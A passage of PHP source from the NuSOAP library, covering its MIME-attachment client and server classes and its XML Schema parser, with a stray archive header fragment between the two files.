{ $mimeMessage->addSubpart($att['data'], $params); } } $output = $mimeMessage->encode(); $mimeHeaders = $output['headers']; foreach ($mimeHeaders as $k => $v) { $this->debug("MIME header $k: $v"); if (strtolower($k) == 'content-type') { // PHP header() seems to strip leading whitespace starting // the second line, so force everything to one line $this->mimeContentType = str_replace("\r\n", " ", $v); } } return $output['body']; } return parent::getHTTPBody($soapmsg); } /** * gets the HTTP content type for the current request. * * Note: getHTTPBody must be called before this. * * @return string the HTTP content type for the current request. * @access private */ function getHTTPContentType() { if (count($this->requestAttachments) > 0) { return $this->mimeContentType; } return parent::getHTTPContentType(); } /** * gets the HTTP content type charset for the current request. * returns false for non-text content types. * * Note: getHTTPBody must be called before this. * * @return string the HTTP content type charset for the current request. * @access private */ function getHTTPContentTypeCharset() { if (count($this->requestAttachments) > 0) { return false; } return parent::getHTTPContentTypeCharset(); } /** * processes SOAP message returned from server * * @param array $headers The HTTP headers * @param string $data unprocessed response data from server * @return mixed value of the message, decoded into a PHP type * @access private */ function parseResponse($headers, $data) { $this->debug('Entering parseResponse() for payload of length ' . strlen($data) . ' and type of ' . $headers['content-type']); $this->responseAttachments = array(); if (strstr($headers['content-type'], 'multipart/related')) { $this->debug('Decode multipart/related'); $input = ''; foreach ($headers as $k => $v) { $input .= "$k: $v\r\n"; } $params['input'] = $input . "\r\n" . $data; $params['include_bodies'] = true; $params['decode_bodies'] = true; $params['decode_headers'] = true; $structure = Mail_mimeDecode::decode($params); foreach ($structure->parts as $part) { if (!isset($part->disposition) && (strstr($part->headers['content-type'], 'text/xml'))) { $this->debug('Have root part of type ' . $part->headers['content-type']); $root = $part->body; $return = parent::parseResponse($part->headers, $part->body); } else { $this->debug('Have an attachment of type ' . $part->headers['content-type']); $info['data'] = $part->body; $info['filename'] = isset($part->d_parameters['filename']) ? $part->d_parameters['filename'] : ''; $info['contenttype'] = $part->headers['content-type']; $info['cid'] = $part->headers['content-id']; $this->responseAttachments[] = $info; } } if (isset($return)) { $this->responseData = $root; return $return; } $this->setError('No root part found in multipart/related content'); return ''; } $this->debug('Not multipart/related'); return parent::parseResponse($headers, $data); } } /* * For backwards compatiblity, define soapclientmime unless the PHP SOAP extension is loaded. */ if (!extension_loaded('soap')) { class soapclientmime extends nusoap_client_mime { } } /** * nusoap_server_mime server supporting MIME attachments defined at * http://www.w3.org/TR/SOAP-attachments. It depends on the PEAR Mail_MIME library. * * @author Scott Nichol * @author Thanks to Guillaume and Henning Reich for posting great attachment code to the mail list * @version $Id: nusoapmime.php,v 1.13 2010/04/26 20:15:08 snichol Exp $ * @access public */ class nusoap_server_mime extends nusoap_server { /** * @var array Each array element in the return is an associative array with keys * data, filename, contenttype, cid * @access private */ var $requestAttachments = array(); /** * @var array Each array element in the return is an associative array with keys * data, filename, contenttype, cid * @access private */ var $responseAttachments; /** * @var string * @access private */ var $mimeContentType; /** * adds a MIME attachment to the current response. * * If the $data parameter contains an empty string, this method will read * the contents of the file named by the $filename parameter. * * If the $cid parameter is false, this method will generate the cid. * * @param string $data The data of the attachment * @param string $filename The filename of the attachment (default is empty string) * @param string $contenttype The MIME Content-Type of the attachment (default is application/octet-stream) * @param string $cid The content-id (cid) of the attachment (default is false) * @return string The content-id (cid) of the attachment * @access public */ function addAttachment($data, $filename = '', $contenttype = 'application/octet-stream', $cid = false) { if (! $cid) { $cid = md5(uniqid(time())); } $info['data'] = $data; $info['filename'] = $filename; $info['contenttype'] = $contenttype; $info['cid'] = $cid; $this->responseAttachments[] = $info; return $cid; } /** * clears the MIME attachments for the current response. * * @access public */ function clearAttachments() { $this->responseAttachments = array(); } /** * gets the MIME attachments from the current request. * * Each array element in the return is an associative array with keys * data, filename, contenttype, cid. These keys correspond to the parameters * for addAttachment. * * @return array The attachments. * @access public */ function getAttachments() { return $this->requestAttachments; } /** * gets the HTTP body for the current response. * * @param string $soapmsg The SOAP payload * @return string The HTTP body, which includes the SOAP payload * @access private */ function getHTTPBody($soapmsg) { if (count($this->responseAttachments) > 0) { $params['content_type'] = 'multipart/related; type="text/xml"'; $mimeMessage = new Mail_mimePart('', $params); unset($params); $params['content_type'] = 'text/xml'; $params['encoding'] = '8bit'; $params['charset'] = $this->soap_defencoding; $mimeMessage->addSubpart($soapmsg, $params); foreach ($this->responseAttachments as $att) { unset($params); $params['content_type'] = $att['contenttype']; $params['encoding'] = 'base64'; $params['disposition'] = 'attachment'; $params['dfilename'] = $att['filename']; $params['cid'] = $att['cid']; if ($att['data'] == '' && $att['filename'] <> '') { if ($fd = fopen($att['filename'], 'rb')) { $data = fread($fd, filesize($att['filename'])); fclose($fd); } else { $data = ''; } $mimeMessage->addSubpart($data, $params); } else { $mimeMessage->addSubpart($att['data'], $params); } } $output = $mimeMessage->encode(); $mimeHeaders = $output['headers']; foreach ($mimeHeaders as $k => $v) { $this->debug("MIME header $k: $v"); if (strtolower($k) == 'content-type') { // PHP header() seems to strip leading whitespace starting // the second line, so force everything to one line $this->mimeContentType = str_replace("\r\n", " ", $v); } } return $output['body']; } return parent::getHTTPBody($soapmsg); } /** * gets the HTTP content type for the current response. * * Note: getHTTPBody must be called before this. * * @return string the HTTP content type for the current response. * @access private */ function getHTTPContentType() { if (count($this->responseAttachments) > 0) { return $this->mimeContentType; } return parent::getHTTPContentType(); } /** * gets the HTTP content type charset for the current response. * returns false for non-text content types. * * Note: getHTTPBody must be called before this. * * @return string the HTTP content type charset for the current response. * @access private */ function getHTTPContentTypeCharset() { if (count($this->responseAttachments) > 0) { return false; } return parent::getHTTPContentTypeCharset(); } /** * processes SOAP message received from client * * @param array $headers The HTTP headers * @param string $data unprocessed request data from client * @return mixed value of the message, decoded into a PHP type * @access private */ function parseRequest($headers, $data) { $this->debug('Entering parseRequest() for payload of length ' . strlen($data) . ' and type of ' . $headers['content-type']); $this->requestAttachments = array(); if (strstr($headers['content-type'], 'multipart/related')) { $this->debug('Decode multipart/related'); $input = ''; foreach ($headers as $k => $v) { $input .= "$k: $v\r\n"; } $params['input'] = $input . "\r\n" . $data; $params['include_bodies'] = true; $params['decode_bodies'] = true; $params['decode_headers'] = true; $structure = Mail_mimeDecode::decode($params); foreach ($structure->parts as $part) { if (!isset($part->disposition) && (strstr($part->headers['content-type'], 'text/xml'))) { $this->debug('Have root part of type ' . $part->headers['content-type']); $return = parent::parseRequest($part->headers, $part->body); } else { $this->debug('Have an attachment of type ' . $part->headers['content-type']); $info['data'] = $part->body; $info['filename'] = isset($part->d_parameters['filename']) ? $part->d_parameters['filename'] : ''; $info['contenttype'] = $part->headers['content-type']; $info['cid'] = $part->headers['content-id']; $this->requestAttachments[] = $info; } } if (isset($return)) { return $return; } $this->setError('No root part found in multipart/related content'); return; } $this->debug('Not multipart/related'); return parent::parseRequest($headers, $data); } } /* * For backwards compatiblity */ class nusoapservermime extends nusoap_server_mime { } ?> PKq\ɧ&superwebmailer/lib/class.xmlschema.phpnu[ * @author Scott Nichol * @version $Id: class.xmlschema.php,v 1.53 2010/04/26 20:15:08 snichol Exp $ * @access public */ class nusoap_xmlschema extends nusoap_base { // files var $schema = ''; var $xml = ''; // namespaces var $enclosingNamespaces; // schema info var $schemaInfo = array(); var $schemaTargetNamespace = ''; // types, elements, attributes defined by the schema var $attributes = array(); var $complexTypes = array(); var $complexTypeStack = array(); var $currentComplexType = null; var $elements = array(); var $elementStack = array(); var $currentElement = null; var $simpleTypes = array(); var $simpleTypeStack = array(); var $currentSimpleType = null; // imports var $imports = array(); // parser vars var $parser; var $position = 0; var $depth = 0; var $depth_array = array(); var $message = array(); var $defaultNamespace = array(); /** * constructor * * @param string $schema schema document URI * @param string $xml xml document URI * @param string $namespaces namespaces defined in enclosing XML * @access public */ function nusoap_xmlschema($schema='',$xml='',$namespaces=array()){ parent::nusoap_base(); $this->debug('nusoap_xmlschema class instantiated, inside constructor'); // files $this->schema = $schema; $this->xml = $xml; // namespaces $this->enclosingNamespaces = $namespaces; $this->namespaces = array_merge($this->namespaces, $namespaces); // parse schema file if($schema != ''){ $this->debug('initial schema file: '.$schema); $this->parseFile($schema, 'schema'); } // parse xml file if($xml != ''){ $this->debug('initial xml file: '.$xml); $this->parseFile($xml, 'xml'); } } /** * parse an XML file * * @param string $xml path/URL to XML file * @param string $type (schema | xml) * @return boolean * @access public */ function parseFile($xml,$type){ // parse xml file if($xml != ""){ $xmlStr = @join("",@file($xml)); if($xmlStr == ""){ $msg = 'Error reading XML from '.$xml; $this->setError($msg); $this->debug($msg); return false; } else { $this->debug("parsing $xml"); $this->parseString($xmlStr,$type); $this->debug("done parsing $xml"); return true; } } return false; } /** * parse an XML string * * @param string $xml path or URL * @param string $type (schema|xml) * @access private */ function parseString($xml,$type){ // parse xml string if($xml != ""){ // Create an XML parser. $this->parser = xml_parser_create(); // Set the options for parsing the XML data. xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); // Set the object for the parser. xml_set_object($this->parser, $this); // Set the element handlers for the parser. if($type == "schema"){ xml_set_element_handler($this->parser, 'schemaStartElement','schemaEndElement'); xml_set_character_data_handler($this->parser,'schemaCharacterData'); } elseif($type == "xml"){ xml_set_element_handler($this->parser, 'xmlStartElement','xmlEndElement'); xml_set_character_data_handler($this->parser,'xmlCharacterData'); } // Parse the XML file. if(!xml_parse($this->parser,$xml,true)){ // Display an error message. $errstr = sprintf('XML error parsing XML schema on line %d: %s', xml_get_current_line_number($this->parser), xml_error_string(xml_get_error_code($this->parser)) ); $this->debug($errstr); $this->debug("XML payload:\n" . $xml); $this->setError($errstr); } xml_parser_free($this->parser); } else{ $this->debug('no xml passed to parseString()!!'); $this->setError('no xml passed to parseString()!!'); } } /** * gets a type name for an unnamed type * * @param string Element name * @return string A type name for an unnamed type * @access private */ function CreateTypeName($ename) { $scope = ''; for ($i = 0; $i < count($this->complexTypeStack); $i++) { $scope .= $this->complexTypeStack[$i] . '_'; } return $scope . $ename . '_ContainedType'; } /** * start-element handler * * @param string $parser XML parser object * @param string $name element name * @param string $attrs associative array of attributes * @access private */ function schemaStartElement($parser, $name, $attrs) { // position in the total number of elements, starting from 0 $pos = $this->position++; $depth = $this->depth++; // set self as current value for this depth $this->depth_array[$depth] = $pos; $this->message[$pos] = array('cdata' => ''); if ($depth > 0) { $this->defaultNamespace[$pos] = $this->defaultNamespace[$this->depth_array[$depth - 1]]; } else { $this->defaultNamespace[$pos] = false; } // get element prefix if($prefix = $this->getPrefix($name)){ // get unqualified name $name = $this->getLocalPart($name); } else { $prefix = ''; } // loop thru attributes, expanding, and registering namespace declarations if(count($attrs) > 0){ foreach($attrs as $k => $v){ // if ns declarations, add to class level array of valid namespaces if(preg_match('/^xmlns/',$k)){ //$this->xdebug("$k: $v"); //$this->xdebug('ns_prefix: '.$this->getPrefix($k)); if($ns_prefix = substr(strrchr($k,':'),1)){ //$this->xdebug("Add namespace[$ns_prefix] = $v"); $this->namespaces[$ns_prefix] = $v; } else { $this->defaultNamespace[$pos] = $v; if (! $this->getPrefixFromNamespace($v)) { $this->namespaces['ns'.(count($this->namespaces)+1)] = $v; } } if($v == 'http://www.w3.org/2001/XMLSchema' || $v == 'http://www.w3.org/1999/XMLSchema' || $v == 'http://www.w3.org/2000/10/XMLSchema'){ $this->XMLSchemaVersion = $v; $this->namespaces['xsi'] = $v.'-instance'; } } } foreach($attrs as $k => $v){ // expand each attribute $k = strpos($k,':') ? $this->expandQname($k) : $k; $v = strpos($v,':') ? $this->expandQname($v) : $v; $eAttrs[$k] = $v; } $attrs = $eAttrs; } else { $attrs = array(); } // find status, register data switch($name){ case 'all': // (optional) compositor content for a complexType case 'choice': case 'group': case 'sequence': //$this->xdebug("compositor $name for currentComplexType: $this->currentComplexType and currentElement: $this->currentElement"); $this->complexTypes[$this->currentComplexType]['compositor'] = $name; //if($name == 'all' || $name == 'sequence'){ // $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; //} break; case 'attribute': // complexType attribute //$this->xdebug("parsing attribute $attrs[name] $attrs[ref] of value: ".$attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']); $this->xdebug("parsing attribute:"); $this->appendDebug($this->varDump($attrs)); if (!isset($attrs['form'])) { // TODO: handle globals $attrs['form'] = $this->schemaInfo['attributeFormDefault']; } if (isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])) { $v = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; if (!strpos($v, ':')) { // no namespace in arrayType attribute value... if ($this->defaultNamespace[$pos]) { // ...so use the default $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'] = $this->defaultNamespace[$pos] . ':' . $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; } } } if(isset($attrs['name'])){ $this->attributes[$attrs['name']] = $attrs; $aname = $attrs['name']; } elseif(isset($attrs['ref']) && $attrs['ref'] == 'http://schemas.xmlsoap.org/soap/encoding/:arrayType'){ if (isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])) { $aname = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; } else { $aname = ''; } } elseif(isset($attrs['ref'])){ $aname = $attrs['ref']; $this->attributes[$attrs['ref']] = $attrs; } if($this->currentComplexType){ // This should *always* be $this->complexTypes[$this->currentComplexType]['attrs'][$aname] = $attrs; } // arrayType attribute if(isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']) || $this->getLocalPart($aname) == 'arrayType'){ $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; $prefix = $this->getPrefix($aname); if(isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])){ $v = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; } else { $v = ''; } if(strpos($v,'[,]')){ $this->complexTypes[$this->currentComplexType]['multidimensional'] = true; } $v = substr($v,0,strpos($v,'[')); // clip the [] if(!strpos($v,':') && isset($this->typemap[$this->XMLSchemaVersion][$v])){ $v = $this->XMLSchemaVersion.':'.$v; } $this->complexTypes[$this->currentComplexType]['arrayType'] = $v; } break; case 'complexContent': // (optional) content for a complexType $this->xdebug("do nothing for element $name"); break; case 'complexType': array_push($this->complexTypeStack, $this->currentComplexType); if(isset($attrs['name'])){ // TODO: what is the scope of named complexTypes that appear // nested within other c complexTypes? $this->xdebug('processing named complexType '.$attrs['name']); //$this->currentElement = false; $this->currentComplexType = $attrs['name']; $this->complexTypes[$this->currentComplexType] = $attrs; $this->complexTypes[$this->currentComplexType]['typeClass'] = 'complexType'; // This is for constructs like // // // // // if(isset($attrs['base']) && preg_match('/:Array$/',$attrs['base'])){ $this->xdebug('complexType is unusual array'); $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; } else { $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; } } else { $name = $this->CreateTypeName($this->currentElement); $this->xdebug('processing unnamed complexType for element ' . $this->currentElement . ' named ' . $name); $this->currentComplexType = $name; //$this->currentElement = false; $this->complexTypes[$this->currentComplexType] = $attrs; $this->complexTypes[$this->currentComplexType]['typeClass'] = 'complexType'; // This is for constructs like // // // // // if(isset($attrs['base']) && preg_match('/:Array$/',$attrs['base'])){ $this->xdebug('complexType is unusual array'); $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; } else { $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; } } $this->complexTypes[$this->currentComplexType]['simpleContent'] = 'false'; break; case 'element': array_push($this->elementStack, $this->currentElement); if (!isset($attrs['form'])) { if ($this->currentComplexType) { $attrs['form'] = $this->schemaInfo['elementFormDefault']; } else { // global $attrs['form'] = 'qualified'; } } if(isset($attrs['type'])){ $this->xdebug("processing typed element ".$attrs['name']." of type ".$attrs['type']); if (! $this->getPrefix($attrs['type'])) { if ($this->defaultNamespace[$pos]) { $attrs['type'] = $this->defaultNamespace[$pos] . ':' . $attrs['type']; $this->xdebug('used default namespace to make type ' . $attrs['type']); } } // This is for constructs like // // // // // if ($this->currentComplexType && $this->complexTypes[$this->currentComplexType]['phpType'] == 'array') { $this->xdebug('arrayType for unusual array is ' . $attrs['type']); $this->complexTypes[$this->currentComplexType]['arrayType'] = $attrs['type']; } $this->currentElement = $attrs['name']; $ename = $attrs['name']; } elseif(isset($attrs['ref'])){ $this->xdebug("processing element as ref to ".$attrs['ref']); $this->currentElement = "ref to ".$attrs['ref']; $ename = $this->getLocalPart($attrs['ref']); } else { $type = $this->CreateTypeName($this->currentComplexType . '_' . $attrs['name']); $this->xdebug("processing untyped element " . $attrs['name'] . ' type ' . $type); $this->currentElement = $attrs['name']; $attrs['type'] = $this->schemaTargetNamespace . ':' . $type; $ename = $attrs['name']; } if (isset($ename) && $this->currentComplexType) { $this->xdebug("add element $ename to complexType $this->currentComplexType"); $this->complexTypes[$this->currentComplexType]['elements'][$ename] = $attrs; } elseif (!isset($attrs['ref'])) { $this->xdebug("add element $ename to elements array"); $this->elements[ $attrs['name'] ] = $attrs; $this->elements[ $attrs['name'] ]['typeClass'] = 'element'; } break; case 'enumeration': // restriction value list member $this->xdebug('enumeration ' . $attrs['value']); if ($this->currentSimpleType) { $this->simpleTypes[$this->currentSimpleType]['enumeration'][] = $attrs['value']; } elseif ($this->currentComplexType) { $this->complexTypes[$this->currentComplexType]['enumeration'][] = $attrs['value']; } break; case 'extension': // simpleContent or complexContent type extension $this->xdebug('extension ' . $attrs['base']); if ($this->currentComplexType) { $ns = $this->getPrefix($attrs['base']); if ($ns == '') { $this->complexTypes[$this->currentComplexType]['extensionBase'] = $this->schemaTargetNamespace . ':' . $attrs['base']; } else { $this->complexTypes[$this->currentComplexType]['extensionBase'] = $attrs['base']; } } else { $this->xdebug('no current complexType to set extensionBase'); } break; case 'import': if (isset($attrs['schemaLocation'])) { $this->xdebug('import namespace ' . $attrs['namespace'] . ' from ' . $attrs['schemaLocation']); $this->imports[$attrs['namespace']][] = array('location' => $attrs['schemaLocation'], 'loaded' => false); } else { $this->xdebug('import namespace ' . $attrs['namespace']); $this->imports[$attrs['namespace']][] = array('location' => '', 'loaded' => true); if (! $this->getPrefixFromNamespace($attrs['namespace'])) { $this->namespaces['ns'.(count($this->namespaces)+1)] = $attrs['namespace']; } } break; case 'include': if (isset($attrs['schemaLocation'])) { $this->xdebug('include into namespace ' . $this->schemaTargetNamespace . ' from ' . $attrs['schemaLocation']); $this->imports[$this->schemaTargetNamespace][] = array('location' => $attrs['schemaLocation'], 'loaded' => false); } else { $this->xdebug('ignoring invalid XML Schema construct: include without schemaLocation attribute'); } break; case 'list': // simpleType value list $this->xdebug("do nothing for element $name"); break; case 'restriction': // simpleType, simpleContent or complexContent value restriction $this->xdebug('restriction ' . $attrs['base']); if($this->currentSimpleType){ $this->simpleTypes[$this->currentSimpleType]['type'] = $attrs['base']; } elseif($this->currentComplexType){ $this->complexTypes[$this->currentComplexType]['restrictionBase'] = $attrs['base']; if(strstr($attrs['base'],':') == ':Array'){ $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; } } break; case 'schema': $this->schemaInfo = $attrs; $this->schemaInfo['schemaVersion'] = $this->getNamespaceFromPrefix($prefix); if (isset($attrs['targetNamespace'])) { $this->schemaTargetNamespace = $attrs['targetNamespace']; } if (!isset($attrs['elementFormDefault'])) { $this->schemaInfo['elementFormDefault'] = 'unqualified'; } if (!isset($attrs['attributeFormDefault'])) { $this->schemaInfo['attributeFormDefault'] = 'unqualified'; } break; case 'simpleContent': // (optional) content for a complexType if ($this->currentComplexType) { // This should *always* be $this->complexTypes[$this->currentComplexType]['simpleContent'] = 'true'; } else { $this->xdebug("do nothing for element $name because there is no current complexType"); } break; case 'simpleType': array_push($this->simpleTypeStack, $this->currentSimpleType); if(isset($attrs['name'])){ $this->xdebug("processing simpleType for name " . $attrs['name']); $this->currentSimpleType = $attrs['name']; $this->simpleTypes[ $attrs['name'] ] = $attrs; $this->simpleTypes[ $attrs['name'] ]['typeClass'] = 'simpleType'; $this->simpleTypes[ $attrs['name'] ]['phpType'] = 'scalar'; } else { $name = $this->CreateTypeName($this->currentComplexType . '_' . $this->currentElement); $this->xdebug('processing unnamed simpleType for element ' . $this->currentElement . ' named ' . $name); $this->currentSimpleType = $name; //$this->currentElement = false; $this->simpleTypes[$this->currentSimpleType] = $attrs; $this->simpleTypes[$this->currentSimpleType]['phpType'] = 'scalar'; } break; case 'union': // simpleType type list $this->xdebug("do nothing for element $name"); break; default: $this->xdebug("do not have any logic to process element $name"); } } /** * end-element handler * * @param string $parser XML parser object * @param string $name element name * @access private */ function schemaEndElement($parser, $name) { // bring depth down a notch $this->depth--; // position of current element is equal to the last value left in depth_array for my depth if(isset($this->depth_array[$this->depth])){ $pos = $this->depth_array[$this->depth]; } // get element prefix if ($prefix = $this->getPrefix($name)){ // get unqualified name $name = $this->getLocalPart($name); } else { $prefix = ''; } // move on... if($name == 'complexType'){ $this->xdebug('done processing complexType ' . ($this->currentComplexType ? $this->currentComplexType : '(unknown)')); $this->xdebug($this->varDump($this->complexTypes[$this->currentComplexType])); $this->currentComplexType = array_pop($this->complexTypeStack); //$this->currentElement = false; } if($name == 'element'){ $this->xdebug('done processing element ' . ($this->currentElement ? $this->currentElement : '(unknown)')); $this->currentElement = array_pop($this->elementStack); } if($name == 'simpleType'){ $this->xdebug('done processing simpleType ' . ($this->currentSimpleType ? $this->currentSimpleType : '(unknown)')); $this->xdebug($this->varDump($this->simpleTypes[$this->currentSimpleType])); $this->currentSimpleType = array_pop($this->simpleTypeStack); } } /** * element content handler * * @param string $parser XML parser object * @param string $data element content * @access private */ function schemaCharacterData($parser, $data){ $pos = $this->depth_array[$this->depth - 1]; $this->message[$pos]['cdata'] .= $data; } /** * serialize the schema * * @access public */ function serializeSchema(){ $schemaPrefix = $this->getPrefixFromNamespace($this->XMLSchemaVersion); $xml = ''; // imports if (sizeof($this->imports) > 0) { foreach($this->imports as $ns => $list) { foreach ($list as $ii) { if ($ii['location'] != '') { $xml .= " <$schemaPrefix:import location=\"" . $ii['location'] . '" namespace="' . $ns . "\" />\n"; } else { $xml .= " <$schemaPrefix:import namespace=\"" . $ns . "\" />\n"; } } } } // complex types foreach($this->complexTypes as $typeName => $attrs){ $contentStr = ''; // serialize child elements if(isset($attrs['elements']) && (count($attrs['elements']) > 0)){ foreach($attrs['elements'] as $element => $eParts){ if(isset($eParts['ref'])){ $contentStr .= " <$schemaPrefix:element ref=\"$element\"/>\n"; } else { $contentStr .= " <$schemaPrefix:element name=\"$element\" type=\"" . $this->contractQName($eParts['type']) . "\""; foreach ($eParts as $aName => $aValue) { // handle, e.g., abstract, default, form, minOccurs, maxOccurs, nillable if ($aName != 'name' && $aName != 'type') { $contentStr .= " $aName=\"$aValue\""; } } $contentStr .= "/>\n"; } } // compositor wraps elements if (isset($attrs['compositor']) && ($attrs['compositor'] != '')) { $contentStr = " <$schemaPrefix:$attrs[compositor]>\n".$contentStr." \n"; } } // attributes if(isset($attrs['attrs']) && (count($attrs['attrs']) >= 1)){ foreach($attrs['attrs'] as $attr => $aParts){ $contentStr .= " <$schemaPrefix:attribute"; foreach ($aParts as $a => $v) { if ($a == 'ref' || $a == 'type') { $contentStr .= " $a=\"".$this->contractQName($v).'"'; } elseif ($a == 'http://schemas.xmlsoap.org/wsdl/:arrayType') { $this->usedNamespaces['wsdl'] = $this->namespaces['wsdl']; $contentStr .= ' wsdl:arrayType="'.$this->contractQName($v).'"'; } else { $contentStr .= " $a=\"$v\""; } } $contentStr .= "/>\n"; } } // if restriction if (isset($attrs['restrictionBase']) && $attrs['restrictionBase'] != ''){ $contentStr = " <$schemaPrefix:restriction base=\"".$this->contractQName($attrs['restrictionBase'])."\">\n".$contentStr." \n"; // complex or simple content if ((isset($attrs['elements']) && count($attrs['elements']) > 0) || (isset($attrs['attrs']) && count($attrs['attrs']) > 0)){ $contentStr = " <$schemaPrefix:complexContent>\n".$contentStr." \n"; } } // finalize complex type if($contentStr != ''){ $contentStr = " <$schemaPrefix:complexType name=\"$typeName\">\n".$contentStr." \n"; } else { $contentStr = " <$schemaPrefix:complexType name=\"$typeName\"/>\n"; } $xml .= $contentStr; } // simple types if(isset($this->simpleTypes) && count($this->simpleTypes) > 0){ foreach($this->simpleTypes as $typeName => $eParts){ $xml .= " <$schemaPrefix:simpleType name=\"$typeName\">\n <$schemaPrefix:restriction base=\"".$this->contractQName($eParts['type'])."\">\n"; if (isset($eParts['enumeration'])) { foreach ($eParts['enumeration'] as $e) { $xml .= " <$schemaPrefix:enumeration value=\"$e\"/>\n"; } } $xml .= " \n "; } } // elements if(isset($this->elements) && count($this->elements) > 0){ foreach($this->elements as $element => $eParts){ $xml .= " <$schemaPrefix:element name=\"$element\" type=\"".$this->contractQName($eParts['type'])."\"/>\n"; } } // attributes if(isset($this->attributes) && count($this->attributes) > 0){ foreach($this->attributes as $attr => $aParts){ $xml .= " <$schemaPrefix:attribute name=\"$attr\" type=\"".$this->contractQName($aParts['type'])."\"\n/>"; } } // finish 'er up $attr = ''; foreach ($this->schemaInfo as $k => $v) { if ($k == 'elementFormDefault' || $k == 'attributeFormDefault') { $attr .= " $k=\"$v\""; } } $el = "<$schemaPrefix:schema$attr targetNamespace=\"$this->schemaTargetNamespace\"\n"; foreach (array_diff($this->usedNamespaces, $this->enclosingNamespaces) as $nsp => $ns) { $el .= " xmlns:$nsp=\"$ns\""; } $xml = $el . ">\n".$xml."\n"; return $xml; } /** * adds debug data to the clas level debug string * * @param string $string debug data * @access private */ function xdebug($string){ $this->debug('<' . $this->schemaTargetNamespace . '> '.$string); } /** * get the PHP type of a user defined type in the schema * PHP type is kind of a misnomer since it actually returns 'struct' for assoc. arrays * returns false if no type exists, or not w/ the given namespace * else returns a string that is either a native php type, or 'struct' * * @param string $type name of defined type * @param string $ns namespace of type * @return mixed * @access public * @deprecated */ function getPHPType($type,$ns){ if(isset($this->typemap[$ns][$type])){ //print "found type '$type' and ns $ns in typemap
    "; return $this->typemap[$ns][$type]; } elseif(isset($this->complexTypes[$type])){ //print "getting type '$type' and ns $ns from complexTypes array
    "; return $this->complexTypes[$type]['phpType']; } return false; } /** * returns an associative array of information about a given type * returns false if no type exists by the given name * * For a complexType typeDef = array( * 'restrictionBase' => '', * 'phpType' => '', * 'compositor' => '(sequence|all)', * 'elements' => array(), // refs to elements array * 'attrs' => array() // refs to attributes array * ... and so on (see addComplexType) * ) * * For simpleType or element, the array has different keys. * * @param string $type * @return mixed * @access public * @see addComplexType * @see addSimpleType * @see addElement */ function getTypeDef($type){ //$this->debug("in getTypeDef for type $type"); if (substr($type, -1) == '^') { $is_element = 1; $type = substr($type, 0, -1); } else { $is_element = 0; } if((! $is_element) && isset($this->complexTypes[$type])){ $this->xdebug("in getTypeDef, found complexType $type"); return $this->complexTypes[$type]; } elseif((! $is_element) && isset($this->simpleTypes[$type])){ $this->xdebug("in getTypeDef, found simpleType $type"); if (!isset($this->simpleTypes[$type]['phpType'])) { // get info for type to tack onto the simple type // TODO: can this ever really apply (i.e. what is a simpleType really?) $uqType = substr($this->simpleTypes[$type]['type'], strrpos($this->simpleTypes[$type]['type'], ':') + 1); $ns = substr($this->simpleTypes[$type]['type'], 0, strrpos($this->simpleTypes[$type]['type'], ':')); $etype = $this->getTypeDef($uqType); if ($etype) { $this->xdebug("in getTypeDef, found type for simpleType $type:"); $this->xdebug($this->varDump($etype)); if (isset($etype['phpType'])) { $this->simpleTypes[$type]['phpType'] = $etype['phpType']; } if (isset($etype['elements'])) { $this->simpleTypes[$type]['elements'] = $etype['elements']; } } } return $this->simpleTypes[$type]; } elseif(isset($this->elements[$type])){ $this->xdebug("in getTypeDef, found element $type"); if (!isset($this->elements[$type]['phpType'])) { // get info for type to tack onto the element $uqType = substr($this->elements[$type]['type'], strrpos($this->elements[$type]['type'], ':') + 1); $ns = substr($this->elements[$type]['type'], 0, strrpos($this->elements[$type]['type'], ':')); $etype = $this->getTypeDef($uqType); if ($etype) { $this->xdebug("in getTypeDef, found type for element $type:"); $this->xdebug($this->varDump($etype)); if (isset($etype['phpType'])) { $this->elements[$type]['phpType'] = $etype['phpType']; } if (isset($etype['elements'])) { $this->elements[$type]['elements'] = $etype['elements']; } if (isset($etype['extensionBase'])) { $this->elements[$type]['extensionBase'] = $etype['extensionBase']; } } elseif ($ns == 'http://www.w3.org/2001/XMLSchema') { $this->xdebug("in getTypeDef, element $type is an XSD type"); $this->elements[$type]['phpType'] = 'scalar'; } } return $this->elements[$type]; } elseif(isset($this->attributes[$type])){ $this->xdebug("in getTypeDef, found attribute $type"); return $this->attributes[$type]; } elseif (preg_match('/_ContainedType$/', $type)) { $this->xdebug("in getTypeDef, have an untyped element $type"); $typeDef['typeClass'] = 'simpleType'; $typeDef['phpType'] = 'scalar'; $typeDef['type'] = 'http://www.w3.org/2001/XMLSchema:string'; return $typeDef; } $this->xdebug("in getTypeDef, did not find $type"); return false; } /** * returns a sample serialization of a given type, or false if no type by the given name * * @param string $type name of type * @return mixed * @access public * @deprecated */ function serializeTypeDef($type){ //print "in sTD() for type $type
